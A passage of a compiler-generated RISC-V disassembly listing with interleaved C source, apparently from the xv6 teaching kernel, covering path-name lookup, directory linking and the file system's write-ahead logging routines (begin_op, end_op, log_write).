ret 0000000080004248 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80004248: 711d addi sp,sp,-96 8000424a: ec86 sd ra,88(sp) 8000424c: e8a2 sd s0,80(sp) 8000424e: e4a6 sd s1,72(sp) 80004250: e0ca sd s2,64(sp) 80004252: fc4e sd s3,56(sp) 80004254: f852 sd s4,48(sp) 80004256: f456 sd s5,40(sp) 80004258: f05a sd s6,32(sp) 8000425a: ec5e sd s7,24(sp) 8000425c: e862 sd s8,16(sp) 8000425e: e466 sd s9,8(sp) 80004260: 1080 addi s0,sp,96 80004262: 84aa mv s1,a0 80004264: 8aae mv s5,a1 80004266: 8a32 mv s4,a2 struct inode *ip, *next; if(*path == '/') 80004268: 00054703 lbu a4,0(a0) 8000426c: 02f00793 li a5,47 80004270: 02f70363 beq a4,a5,80004296 <namex+0x4e> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80004274: ffffd097 auipc ra,0xffffd 80004278: 722080e7 jalr 1826(ra) # 80001996 <myproc> 8000427c: 17053503 ld a0,368(a0) 80004280: 00000097 auipc ra,0x0 80004284: 9f6080e7 jalr -1546(ra) # 80003c76 <idup> 80004288: 89aa mv s3,a0 while(*path == '/') 8000428a: 02f00913 li s2,47 len = path - s; 8000428e: 4b01 li s6,0 if(len >= DIRSIZ) 80004290: 4c35 li s8,13 while((path = skipelem(path, name)) != 0){ ilock(ip); if(ip->type != T_DIR){ 80004292: 4b85 li s7,1 80004294: a865 j 8000434c <namex+0x104> ip = iget(ROOTDEV, ROOTINO); 80004296: 4585 li a1,1 80004298: 4505 li a0,1 8000429a: fffff097 auipc ra,0xfffff 8000429e: 6e6080e7 jalr 1766(ra) # 80003980 <iget> 800042a2: 89aa mv s3,a0 800042a4: b7dd j 8000428a <namex+0x42> iunlockput(ip); 800042a6: 854e mv a0,s3 800042a8: 00000097 auipc ra,0x0 800042ac: c6e080e7 jalr -914(ra) # 80003f16 <iunlockput> return 0; 800042b0: 4981 li s3,0 if(nameiparent){ iput(ip); return 0; } return ip; } 800042b2: 854e mv a0,s3 800042b4: 60e6 ld ra,88(sp) 800042b6: 6446 ld s0,80(sp) 800042b8: 64a6 ld s1,72(sp) 800042ba: 6906 ld s2,64(sp) 800042bc: 79e2 ld s3,56(sp) 800042be: 7a42 ld s4,48(sp) 800042c0: 7aa2 ld s5,40(sp) 800042c2: 7b02 ld s6,32(sp) 800042c4: 6be2 ld s7,24(sp) 800042c6: 6c42 ld s8,16(sp) 800042c8: 6ca2 ld s9,8(sp) 800042ca: 6125 addi sp,sp,96 800042cc: 8082 ret iunlock(ip); 800042ce: 854e mv a0,s3 800042d0: 00000097 auipc ra,0x0 800042d4: aa6080e7 jalr -1370(ra) # 80003d76 <iunlock> return ip; 800042d8: bfe9 j 800042b2 <namex+0x6a> iunlockput(ip); 800042da: 854e mv a0,s3 800042dc: 00000097 auipc ra,0x0 800042e0: c3a080e7 jalr -966(ra) # 80003f16 <iunlockput> return 0; 800042e4: 89e6 mv s3,s9 800042e6: b7f1 j 800042b2 <namex+0x6a> len = path - s; 800042e8: 40b48633 sub a2,s1,a1 800042ec: 00060c9b sext.w s9,a2 if(len >= DIRSIZ) 800042f0: 099c5463 bge s8,s9,80004378 <namex+0x130> memmove(name, s, DIRSIZ); 800042f4: 4639 li a2,14 800042f6: 8552 mv a0,s4 800042f8: ffffd097 auipc ra,0xffffd 800042fc: a22080e7 jalr -1502(ra) # 80000d1a <memmove> while(*path == '/') 80004300: 0004c783 lbu a5,0(s1) 80004304: 01279763 bne a5,s2,80004312 <namex+0xca> path++; 80004308: 0485 addi s1,s1,1 while(*path == '/') 8000430a: 0004c783 lbu a5,0(s1) 8000430e: ff278de3 beq a5,s2,80004308 <namex+0xc0> ilock(ip); 80004312: 854e mv a0,s3 80004314: 00000097 auipc ra,0x0 80004318: 9a0080e7 jalr -1632(ra) # 80003cb4 <ilock> if(ip->type != T_DIR){ 8000431c: 04499783 lh a5,68(s3) 80004320: f97793e3 bne a5,s7,800042a6 <namex+0x5e> if(nameiparent && *path == '\0'){ 80004324: 000a8563 beqz s5,8000432e <namex+0xe6> 80004328: 0004c783 lbu a5,0(s1) 8000432c: d3cd beqz a5,800042ce <namex+0x86> if((next = dirlookup(ip, name, 0)) == 0){ 8000432e: 865a mv a2,s6 80004330: 85d2 mv a1,s4 80004332: 854e mv a0,s3 80004334: 00000097 auipc ra,0x0 80004338: e64080e7 jalr -412(ra) # 80004198 <dirlookup> 8000433c: 8caa mv s9,a0 8000433e: dd51 beqz a0,800042da <namex+0x92> iunlockput(ip); 80004340: 854e mv a0,s3 80004342: 00000097 auipc ra,0x0 80004346: bd4080e7 jalr -1068(ra) # 80003f16 <iunlockput> ip = next; 8000434a: 89e6 mv s3,s9 while(*path == '/') 8000434c: 0004c783 lbu a5,0(s1) 80004350: 05279763 bne a5,s2,8000439e <namex+0x156> path++; 80004354: 0485 addi s1,s1,1 while(*path == '/') 80004356: 0004c783 lbu a5,0(s1) 8000435a: ff278de3 beq a5,s2,80004354 <namex+0x10c> if(*path == 0) 8000435e: c79d beqz a5,8000438c <namex+0x144> path++; 80004360: 85a6 mv a1,s1 len = path - s; 80004362: 8cda mv s9,s6 80004364: 865a mv a2,s6 while(*path != '/' && *path != 0) 80004366: 01278963 beq a5,s2,80004378 <namex+0x130> 8000436a: dfbd beqz a5,800042e8 <namex+0xa0> path++; 8000436c: 0485 addi s1,s1,1 while(*path != '/' && *path != 0) 8000436e: 0004c783 lbu a5,0(s1) 80004372: ff279ce3 bne a5,s2,8000436a <namex+0x122> 80004376: bf8d j 800042e8 <namex+0xa0> memmove(name, s, len); 80004378: 2601 sext.w a2,a2 8000437a: 8552 mv a0,s4 8000437c: ffffd097 auipc ra,0xffffd 80004380: 99e080e7 jalr -1634(ra) # 80000d1a <memmove> name[len] = 0; 80004384: 9cd2 add s9,s9,s4 80004386: 000c8023 sb zero,0(s9) # 2000 <_entry-0x7fffe000> 8000438a: bf9d j 80004300 <namex+0xb8> if(nameiparent){ 8000438c: f20a83e3 beqz s5,800042b2 <namex+0x6a> iput(ip); 80004390: 854e mv a0,s3 80004392: 00000097 auipc ra,0x0 80004396: adc080e7 jalr -1316(ra) # 80003e6e <iput> return 0; 8000439a: 4981 li s3,0 8000439c: bf19 j 800042b2 <namex+0x6a> if(*path == 0) 8000439e: d7fd beqz a5,8000438c <namex+0x144> while(*path != '/' && *path != 0) 800043a0: 0004c783 lbu a5,0(s1) 800043a4: 85a6 mv a1,s1 800043a6: b7d1 j 8000436a <namex+0x122> 00000000800043a8 <dirlink>: { 800043a8: 7139 addi sp,sp,-64 800043aa: fc06 sd ra,56(sp) 800043ac: f822 sd s0,48(sp) 800043ae: f426 sd s1,40(sp) 800043b0: f04a sd s2,32(sp) 800043b2: ec4e sd s3,24(sp) 800043b4: e852 sd s4,16(sp) 800043b6: 0080 addi s0,sp,64 800043b8: 892a mv s2,a0 800043ba: 8a2e mv s4,a1 800043bc: 89b2 mv s3,a2 if((ip = dirlookup(dp, name, 0)) != 0){ 800043be: 4601 li a2,0 800043c0: 00000097 auipc ra,0x0 800043c4: dd8080e7 jalr -552(ra) # 80004198 <dirlookup> 800043c8: e93d bnez a0,8000443e <dirlink+0x96> for(off = 0; off < dp->size; off += sizeof(de)){ 800043ca: 04c92483 lw s1,76(s2) 800043ce: c49d beqz s1,800043fc <dirlink+0x54> 800043d0: 4481 li s1,0 if(readi(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 800043d2: 4741 li a4,16 800043d4: 86a6 mv a3,s1 800043d6: fc040613 addi a2,s0,-64 800043da: 4581 li a1,0 800043dc: 854a mv a0,s2 800043de: 00000097 auipc ra,0x0 800043e2: b8a080e7 jalr -1142(ra) # 80003f68 <readi> 800043e6: 47c1 li a5,16 800043e8: 06f51163 bne a0,a5,8000444a <dirlink+0xa2> if(de.inum == 0) 800043ec: fc045783 lhu a5,-64(s0) 800043f0: c791 beqz a5,800043fc <dirlink+0x54> for(off = 0; off < dp->size; off += sizeof(de)){ 800043f2: 24c1 addiw s1,s1,16 800043f4: 04c92783 lw a5,76(s2) 800043f8: fcf4ede3 bltu s1,a5,800043d2 <dirlink+0x2a> strncpy(de.name, name, DIRSIZ); 800043fc: 4639 li a2,14 800043fe: 85d2 mv a1,s4 80004400: fc240513 addi a0,s0,-62 80004404: ffffd097 auipc ra,0xffffd 80004408: 9ce080e7 jalr -1586(ra) # 80000dd2 <strncpy> de.inum = inum; 8000440c: fd341023 sh s3,-64(s0) if(writei(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80004410: 4741 li a4,16 80004412: 86a6 mv a3,s1 80004414: fc040613 addi a2,s0,-64 80004418: 4581 li a1,0 8000441a: 854a mv a0,s2 8000441c: 00000097 auipc ra,0x0 80004420: c44080e7 jalr -956(ra) # 80004060 <writei> 80004424: 872a mv a4,a0 80004426: 47c1 li a5,16 return 0; 80004428: 4501 li a0,0 if(writei(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 8000442a: 02f71863 bne a4,a5,8000445a <dirlink+0xb2> } 8000442e: 70e2 ld ra,56(sp) 80004430: 7442 ld s0,48(sp) 80004432: 74a2 ld s1,40(sp) 80004434: 7902 ld s2,32(sp) 80004436: 69e2 ld s3,24(sp) 80004438: 6a42 ld s4,16(sp) 8000443a: 6121 addi sp,sp,64 8000443c: 8082 ret iput(ip); 8000443e: 00000097 auipc ra,0x0 80004442: a30080e7 jalr -1488(ra) # 80003e6e <iput> return -1; 80004446: 557d li a0,-1 80004448: b7dd j 8000442e <dirlink+0x86> panic("dirlink read"); 8000444a: 00004517 auipc a0,0x4 8000444e: 3fe50513 addi a0,a0,1022 # 80008848 <syscalls+0x218> 80004452: ffffc097 auipc ra,0xffffc 80004456: 0d8080e7 jalr 216(ra) # 8000052a <panic> panic("dirlink"); 8000445a: 00004517 auipc a0,0x4 8000445e: 4f650513 addi a0,a0,1270 # 80008950 <syscalls+0x320> 80004462: ffffc097 auipc ra,0xffffc 80004466: 0c8080e7 jalr 200(ra) # 8000052a <panic> 000000008000446a <namei>: struct inode* namei(char *path) { 8000446a: 1101 addi sp,sp,-32 8000446c: ec06 sd ra,24(sp) 8000446e: e822 sd s0,16(sp) 80004470: 1000 addi s0,sp,32 char name[DIRSIZ]; return namex(path, 0, name); 80004472: fe040613 addi a2,s0,-32 80004476: 4581 li a1,0 80004478: 00000097 auipc ra,0x0 8000447c: dd0080e7 jalr -560(ra) # 80004248 <namex> } 80004480: 60e2 ld ra,24(sp) 80004482: 6442 ld s0,16(sp) 80004484: 6105 addi sp,sp,32 80004486: 8082 ret 0000000080004488 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80004488: 1141 addi sp,sp,-16 8000448a: e406 sd ra,8(sp) 8000448c: e022 sd s0,0(sp) 8000448e: 0800 addi s0,sp,16 80004490: 862e mv a2,a1 return namex(path, 1, name); 80004492: 4585 li a1,1 80004494: 00000097 auipc ra,0x0 80004498: db4080e7 jalr -588(ra) # 80004248 <namex> } 8000449c: 60a2 ld ra,8(sp) 8000449e: 6402 ld s0,0(sp) 800044a0: 0141 addi sp,sp,16 800044a2: 8082 ret 00000000800044a4 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 800044a4: 1101 addi sp,sp,-32 800044a6: ec06 sd ra,24(sp) 800044a8: e822 sd s0,16(sp) 800044aa: e426 sd s1,8(sp) 800044ac: e04a sd s2,0(sp) 800044ae: 1000 addi s0,sp,32 struct buf *buf = bread(log.dev, log.start); 800044b0: 0001d917 auipc s2,0x1d 800044b4: 5d890913 addi s2,s2,1496 # 80021a88 <log> 800044b8: 01892583 lw a1,24(s2) 800044bc: 02892503 lw a0,40(s2) 800044c0: fffff097 auipc ra,0xfffff 800044c4: ff0080e7 jalr -16(ra) # 800034b0 <bread> 800044c8: 84aa mv s1,a0 struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 800044ca: 02c92683 lw a3,44(s2) 800044ce: cd34 sw a3,88(a0) for (i = 0; i < log.lh.n; i++) { 800044d0: 02d05863 blez a3,80004500 <write_head+0x5c> 800044d4: 0001d797 auipc a5,0x1d 800044d8: 5e478793 addi a5,a5,1508 # 80021ab8 <log+0x30> 800044dc: 05c50713 addi a4,a0,92 800044e0: 36fd addiw a3,a3,-1 800044e2: 02069613 slli a2,a3,0x20 800044e6: 01e65693 srli a3,a2,0x1e 800044ea: 0001d617 auipc a2,0x1d 800044ee: 5d260613 addi a2,a2,1490 # 80021abc <log+0x34> 800044f2: 96b2 add a3,a3,a2 hb->block[i] = log.lh.block[i]; 800044f4: 4390 lw a2,0(a5) 800044f6: c310 sw a2,0(a4) for (i = 0; i < log.lh.n; i++) { 800044f8: 0791 addi a5,a5,4 800044fa: 0711 addi a4,a4,4 800044fc: fed79ce3 bne a5,a3,800044f4 <write_head+0x50> } bwrite(buf); 80004500: 8526 mv a0,s1 80004502: fffff097 auipc ra,0xfffff 80004506: 0a0080e7 jalr 160(ra) # 800035a2 <bwrite> brelse(buf); 8000450a: 8526 mv a0,s1 8000450c: fffff097 auipc ra,0xfffff 80004510: 0d4080e7 jalr 212(ra) # 800035e0 <brelse> } 80004514: 60e2 ld ra,24(sp) 80004516: 6442 ld s0,16(sp) 80004518: 64a2 ld s1,8(sp) 8000451a: 6902 ld s2,0(sp) 8000451c: 6105 addi sp,sp,32 8000451e: 8082 ret 0000000080004520 <install_trans>: for (tail = 0; tail < log.lh.n; tail++) { 80004520: 0001d797 auipc a5,0x1d 80004524: 5947a783 lw a5,1428(a5) # 80021ab4 <log+0x2c> 80004528: 0af05d63 blez a5,800045e2 <install_trans+0xc2> { 8000452c: 7139 addi sp,sp,-64 8000452e: fc06 sd ra,56(sp) 80004530: f822 sd s0,48(sp) 80004532: f426 sd s1,40(sp) 80004534: f04a sd s2,32(sp) 80004536: ec4e sd s3,24(sp) 80004538: e852 sd s4,16(sp) 8000453a: e456 sd s5,8(sp) 8000453c: e05a sd s6,0(sp) 8000453e: 0080 addi s0,sp,64 80004540: 8b2a mv s6,a0 80004542: 0001da97 auipc s5,0x1d 80004546: 576a8a93 addi s5,s5,1398 # 80021ab8 <log+0x30> for (tail = 0; tail < log.lh.n; tail++) { 8000454a: 4a01 li s4,0 struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 8000454c: 0001d997 auipc s3,0x1d 80004550: 53c98993 addi s3,s3,1340 # 80021a88 <log> 80004554: a00d j 80004576 <install_trans+0x56> brelse(lbuf); 80004556: 854a mv a0,s2 80004558: fffff097 auipc ra,0xfffff 8000455c: 088080e7 jalr 136(ra) # 800035e0 <brelse> brelse(dbuf); 80004560: 8526 mv a0,s1 80004562: fffff097 auipc ra,0xfffff 80004566: 07e080e7 jalr 126(ra) # 800035e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 8000456a: 2a05 addiw s4,s4,1 8000456c: 0a91 addi s5,s5,4 8000456e: 02c9a783 lw a5,44(s3) 80004572: 04fa5e63 bge s4,a5,800045ce <install_trans+0xae> struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80004576: 0189a583 lw a1,24(s3) 8000457a: 014585bb addw a1,a1,s4 8000457e: 2585 addiw a1,a1,1 80004580: 0289a503 lw a0,40(s3) 80004584: fffff097 auipc ra,0xfffff 80004588: f2c080e7 jalr -212(ra) # 800034b0 <bread> 8000458c: 892a mv s2,a0 struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 8000458e: 000aa583 lw a1,0(s5) 80004592: 0289a503 lw a0,40(s3) 80004596: fffff097 auipc ra,0xfffff 8000459a: f1a080e7 jalr -230(ra) # 800034b0 <bread> 8000459e: 84aa mv s1,a0 memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 800045a0: 40000613 li a2,1024 800045a4: 05890593 addi a1,s2,88 800045a8: 05850513 addi a0,a0,88 800045ac: ffffc097 auipc ra,0xffffc 800045b0: 76e080e7 jalr 1902(ra) # 80000d1a <memmove> bwrite(dbuf); // write dst to disk 800045b4: 8526 mv a0,s1 800045b6: fffff097 auipc ra,0xfffff 800045ba: fec080e7 jalr -20(ra) # 800035a2 <bwrite> if(recovering == 0) 800045be: f80b1ce3 bnez s6,80004556 <install_trans+0x36> bunpin(dbuf); 800045c2: 8526 mv a0,s1 800045c4: fffff097 auipc ra,0xfffff 800045c8: 0f6080e7 jalr 246(ra) # 800036ba <bunpin> 800045cc: b769 j 80004556 <install_trans+0x36> } 800045ce: 70e2 ld ra,56(sp) 800045d0: 7442 ld s0,48(sp) 800045d2: 74a2 ld s1,40(sp) 800045d4: 7902 ld s2,32(sp) 800045d6: 69e2 ld s3,24(sp) 800045d8: 6a42 ld s4,16(sp) 800045da: 6aa2 ld s5,8(sp) 800045dc: 6b02 ld s6,0(sp) 800045de: 6121 addi sp,sp,64 800045e0: 8082 ret 800045e2: 8082 ret 00000000800045e4 <initlog>: { 800045e4: 7179 addi sp,sp,-48 800045e6: f406 sd ra,40(sp) 800045e8: f022 sd s0,32(sp) 800045ea: ec26 sd s1,24(sp) 800045ec: e84a sd s2,16(sp) 800045ee: e44e sd s3,8(sp) 800045f0: 1800 addi s0,sp,48 800045f2: 892a mv s2,a0 800045f4: 89ae mv s3,a1 initlock(&log.lock, "log"); 800045f6: 0001d497 auipc s1,0x1d 800045fa: 49248493 addi s1,s1,1170 # 80021a88 <log> 800045fe: 00004597 auipc a1,0x4 80004602: 25a58593 addi a1,a1,602 # 80008858 <syscalls+0x228> 80004606: 8526 mv a0,s1 80004608: ffffc097 auipc ra,0xffffc 8000460c: 52a080e7 jalr 1322(ra) # 80000b32 <initlock> log.start = sb->logstart; 80004610: 0149a583 lw a1,20(s3) 80004614: cc8c sw a1,24(s1) log.size = sb->nlog; 80004616: 0109a783 lw a5,16(s3) 8000461a: ccdc sw a5,28(s1) log.dev = dev; 8000461c: 0324a423 sw s2,40(s1) struct buf *buf = bread(log.dev, log.start); 80004620: 854a mv a0,s2 80004622: fffff097 auipc ra,0xfffff 80004626: e8e080e7 jalr -370(ra) # 800034b0 <bread> log.lh.n = lh->n; 8000462a: 4d34 lw a3,88(a0) 8000462c: d4d4 sw a3,44(s1) for (i = 0; i < log.lh.n; i++) { 8000462e: 02d05663 blez a3,8000465a <initlog+0x76> 80004632: 05c50793 addi a5,a0,92 80004636: 0001d717 auipc a4,0x1d 8000463a: 48270713 addi a4,a4,1154 # 80021ab8 <log+0x30> 8000463e: 36fd addiw a3,a3,-1 80004640: 02069613 slli a2,a3,0x20 80004644: 01e65693 srli a3,a2,0x1e 80004648: 06050613 addi a2,a0,96 8000464c: 96b2 add a3,a3,a2 log.lh.block[i] = lh->block[i]; 8000464e: 4390 lw a2,0(a5) 80004650: c310 sw a2,0(a4) for (i = 0; i < log.lh.n; i++) { 80004652: 0791 addi a5,a5,4 80004654: 0711 addi a4,a4,4 80004656: fed79ce3 bne a5,a3,8000464e <initlog+0x6a> brelse(buf); 8000465a: fffff097 auipc ra,0xfffff 8000465e: f86080e7 jalr -122(ra) # 800035e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(1); // if committed, copy from log to disk 80004662: 4505 li a0,1 80004664: 00000097 auipc ra,0x0 80004668: ebc080e7 jalr -324(ra) # 80004520 <install_trans> log.lh.n = 0; 8000466c: 0001d797 auipc a5,0x1d 80004670: 4407a423 sw zero,1096(a5) # 80021ab4 <log+0x2c> write_head(); // clear the log 80004674: 00000097 auipc ra,0x0 80004678: e30080e7 jalr -464(ra) # 800044a4 <write_head> } 8000467c: 70a2 ld ra,40(sp) 8000467e: 7402 ld s0,32(sp) 80004680: 64e2 ld s1,24(sp) 80004682: 6942 ld s2,16(sp) 80004684: 69a2 ld s3,8(sp) 80004686: 6145 addi sp,sp,48 80004688: 8082 ret 000000008000468a <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 8000468a: 1101 addi sp,sp,-32 8000468c: ec06 sd ra,24(sp) 8000468e: e822 sd s0,16(sp) 80004690: e426 sd s1,8(sp) 80004692: e04a sd s2,0(sp) 80004694: 1000 addi s0,sp,32 acquire(&log.lock); 80004696: 0001d517 auipc a0,0x1d 8000469a: 3f250513 addi a0,a0,1010 # 80021a88 <log> 8000469e: ffffc097 auipc ra,0xffffc 800046a2: 524080e7 jalr 1316(ra) # 80000bc2 <acquire> while(1){ if(log.committing){ 800046a6: 0001d497 auipc s1,0x1d 800046aa: 3e248493 addi s1,s1,994 # 80021a88 <log> sleep(&log, &log.lock); } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 800046ae: 4979 li s2,30 800046b0: a039 j 800046be <begin_op+0x34> sleep(&log, &log.lock); 800046b2: 85a6 mv a1,s1 800046b4: 8526 mv a0,s1 800046b6: ffffe097 auipc ra,0xffffe 800046ba: b10080e7 jalr -1264(ra) # 800021c6 <sleep> if(log.committing){ 800046be: 50dc lw a5,36(s1) 800046c0: fbed bnez a5,800046b2 <begin_op+0x28> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 800046c2: 509c lw a5,32(s1) 800046c4: 0017871b addiw a4,a5,1 800046c8: 0007069b sext.w a3,a4 800046cc: 0027179b slliw a5,a4,0x2 800046d0: 9fb9 addw a5,a5,a4 800046d2: 0017979b slliw a5,a5,0x1 800046d6: 54d8 lw a4,44(s1) 800046d8: 9fb9 addw a5,a5,a4 800046da: 00f95963 bge s2,a5,800046ec <begin_op+0x62> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); 800046de: 85a6 mv a1,s1 800046e0: 8526 mv a0,s1 800046e2: ffffe097 auipc ra,0xffffe 800046e6: ae4080e7 jalr -1308(ra) # 800021c6 <sleep> 800046ea: bfd1 j 800046be <begin_op+0x34> } else { log.outstanding += 1; 800046ec: 0001d517 auipc a0,0x1d 800046f0: 39c50513 addi a0,a0,924 # 80021a88 <log> 800046f4: d114 sw a3,32(a0) release(&log.lock); 800046f6: ffffc097 auipc ra,0xffffc 800046fa: 580080e7 jalr 1408(ra) # 80000c76 <release> break; } } } 800046fe: 60e2 ld ra,24(sp) 80004700: 6442 ld s0,16(sp) 80004702: 64a2 ld s1,8(sp) 80004704: 6902 ld s2,0(sp) 80004706: 6105 addi sp,sp,32 80004708: 8082 ret 000000008000470a <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 8000470a: 7139 addi sp,sp,-64 8000470c: fc06 sd ra,56(sp) 8000470e: f822 sd s0,48(sp) 80004710: f426 sd s1,40(sp) 80004712: f04a sd s2,32(sp) 80004714: ec4e sd s3,24(sp) 80004716: e852 sd s4,16(sp) 80004718: e456 sd s5,8(sp) 8000471a: 0080 addi s0,sp,64 int do_commit = 0; acquire(&log.lock); 8000471c: 0001d497 auipc s1,0x1d 80004720: 36c48493 addi s1,s1,876 # 80021a88 <log> 80004724: 8526 mv a0,s1 80004726: ffffc097 auipc ra,0xffffc 8000472a: 49c080e7 jalr 1180(ra) # 80000bc2 <acquire> log.outstanding -= 1; 8000472e: 509c lw a5,32(s1) 80004730: 37fd addiw a5,a5,-1 80004732: 0007891b sext.w s2,a5 80004736: d09c sw a5,32(s1) if(log.committing) 80004738: 50dc lw a5,36(s1) 8000473a: e7b9 bnez a5,80004788 <end_op+0x7e> panic("log.committing"); if(log.outstanding == 0){ 8000473c: 04091e63 bnez s2,80004798 <end_op+0x8e> do_commit = 1; log.committing = 1; 80004740: 0001d497 auipc s1,0x1d 80004744: 34848493 addi s1,s1,840 # 80021a88 <log> 80004748: 4785 li a5,1 8000474a: d0dc sw a5,36(s1) // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 8000474c: 8526 mv a0,s1 8000474e: ffffc097 auipc ra,0xffffc 80004752: 528080e7 jalr 1320(ra) # 80000c76 <release> } static void commit() { if (log.lh.n > 0) { 80004756: 54dc lw a5,44(s1) 80004758: 06f04763 bgtz a5,800047c6 <end_op+0xbc> acquire(&log.lock); 8000475c: 0001d497 auipc s1,0x1d 80004760: 32c48493 addi s1,s1,812 # 80021a88 <log> 80004764: 8526 mv a0,s1 80004766: ffffc097 auipc ra,0xffffc 8000476a: 45c080e7 jalr 1116(ra) # 80000bc2 <acquire> log.committing = 0; 8000476e: 0204a223 sw zero,36(s1) wakeup(&log); 80004772: 8526 mv a0,s1 80004774: ffffe097 auipc ra,0xffffe 80004778: bde080e7 jalr -1058(ra) # 80002352 <wakeup> release(&log.lock); 8000477c: 8526 mv a0,s1 8000477e: ffffc097 auipc ra,0xffffc 80004782: 4f8080e7 jalr 1272(ra) # 80000c76 <release> } 80004786: a03d j 800047b4 <end_op+0xaa> panic("log.committing"); 80004788: 00004517 auipc a0,0x4 8000478c: 0d850513 addi a0,a0,216 # 80008860 <syscalls+0x230> 80004790: ffffc097 auipc ra,0xffffc 80004794: d9a080e7 jalr -614(ra) # 8000052a <panic> wakeup(&log); 80004798: 0001d497 auipc s1,0x1d 8000479c: 2f048493 addi s1,s1,752 # 80021a88 <log> 800047a0: 8526 mv a0,s1 800047a2: ffffe097 auipc ra,0xffffe 800047a6: bb0080e7 jalr -1104(ra) # 80002352 <wakeup> release(&log.lock); 800047aa: 8526 mv a0,s1 800047ac: ffffc097 auipc ra,0xffffc 800047b0: 4ca080e7 jalr 1226(ra) # 80000c76 <release> } 800047b4: 70e2 ld ra,56(sp) 800047b6: 7442 ld s0,48(sp) 800047b8: 74a2 ld s1,40(sp) 800047ba: 7902 ld s2,32(sp) 800047bc: 69e2 ld s3,24(sp) 800047be: 6a42 ld s4,16(sp) 800047c0: 6aa2 ld s5,8(sp) 800047c2: 6121 addi sp,sp,64 800047c4: 8082 ret for (tail = 0; tail < log.lh.n; tail++) { 800047c6: 0001da97 auipc s5,0x1d 800047ca: 2f2a8a93 addi s5,s5,754 # 80021ab8 <log+0x30> struct buf *to = bread(log.dev, log.start+tail+1); // log block 800047ce: 0001da17 auipc s4,0x1d 800047d2: 2baa0a13 addi s4,s4,698 # 80021a88 <log> 800047d6: 018a2583 lw a1,24(s4) 800047da: 012585bb addw a1,a1,s2 800047de: 2585 addiw a1,a1,1 800047e0: 028a2503 lw a0,40(s4) 800047e4: fffff097 auipc ra,0xfffff 800047e8: ccc080e7 jalr -820(ra) # 800034b0 <bread> 800047ec: 84aa mv s1,a0 struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 800047ee: 000aa583 lw a1,0(s5) 800047f2: 028a2503 lw a0,40(s4) 800047f6: fffff097 auipc ra,0xfffff 800047fa: cba080e7 jalr -838(ra) # 800034b0 <bread> 800047fe: 89aa mv s3,a0 memmove(to->data, from->data, BSIZE); 80004800: 40000613 li a2,1024 80004804: 05850593 addi a1,a0,88 80004808: 05848513 addi a0,s1,88 8000480c: ffffc097 auipc ra,0xffffc 80004810: 50e080e7 jalr 1294(ra) # 80000d1a <memmove> bwrite(to); // write the log 80004814: 8526 mv a0,s1 80004816: fffff097 auipc ra,0xfffff 8000481a: d8c080e7 jalr -628(ra) # 800035a2 <bwrite> brelse(from); 8000481e: 854e mv a0,s3 80004820: fffff097 auipc ra,0xfffff 80004824: dc0080e7 jalr -576(ra) # 800035e0 <brelse> brelse(to); 80004828: 8526 mv a0,s1 8000482a: fffff097 auipc ra,0xfffff 8000482e: db6080e7 jalr -586(ra) # 800035e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80004832: 2905 addiw s2,s2,1 80004834: 0a91 addi s5,s5,4 80004836: 02ca2783 lw a5,44(s4) 8000483a: f8f94ee3 blt s2,a5,800047d6 <end_op+0xcc> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 8000483e: 00000097 auipc ra,0x0 80004842: c66080e7 jalr -922(ra) # 800044a4 <write_head> install_trans(0); // Now install writes to home locations 80004846: 4501 li a0,0 80004848: 00000097 auipc ra,0x0 8000484c: cd8080e7 jalr -808(ra) # 80004520 <install_trans> log.lh.n = 0; 80004850: 0001d797 auipc a5,0x1d 80004854: 2607a223 sw zero,612(a5) # 80021ab4 <log+0x2c> write_head(); // Erase the transaction from the log 80004858: 00000097 auipc ra,0x0 8000485c: c4c080e7 jalr -948(ra) # 800044a4 <write_head> 80004860: bdf5 j 8000475c <end_op+0x52> 0000000080004862 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80004862: 1101 addi sp,sp,-32 80004864: ec06 sd ra,24(sp) 80004866: e822 sd s0,16(sp) 80004868: e426 sd s1,8(sp) 8000486a: e04a sd s2,0(sp) 8000486c: 1000 addi s0,sp,32 8000486e: 84aa mv s1,a0 int i; acquire(&log.lock); 80004870: 0001d917 auipc s2,0x1d 80004874: 21890913 addi s2,s2,536 # 80021a88 <log> 80004878: 854a mv a0,s2 8000487a: ffffc097 auipc ra,0xffffc 8000487e: 348080e7 jalr 840(ra) # 80000bc2 <acquire> if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80004882: 02c92603 lw a2,44(s2) 80004886: 47f5 li a5,29 80004888: 06c7c563 blt a5,a2,800048f2 <log_write+0x90> 8000488c: 0001d797 auipc a5,0x1d 80004890: 2187a783 lw a5,536(a5) # 80021aa4 <log+0x1c> 80004894: 37fd addiw a5,a5,-1 80004896: 04f65e63 bge a2,a5,800048f2 <log_write+0x90> panic("too big a transaction"); if (log.outstanding < 1) 8000489a: 0001d797 auipc a5,0x1d 8000489e: 20e7a783 lw a5,526(a5) # 80021aa8 <log+0x20> 800048a2: 06f05063 blez a5,80004902 <log_write+0xa0> panic("log_write 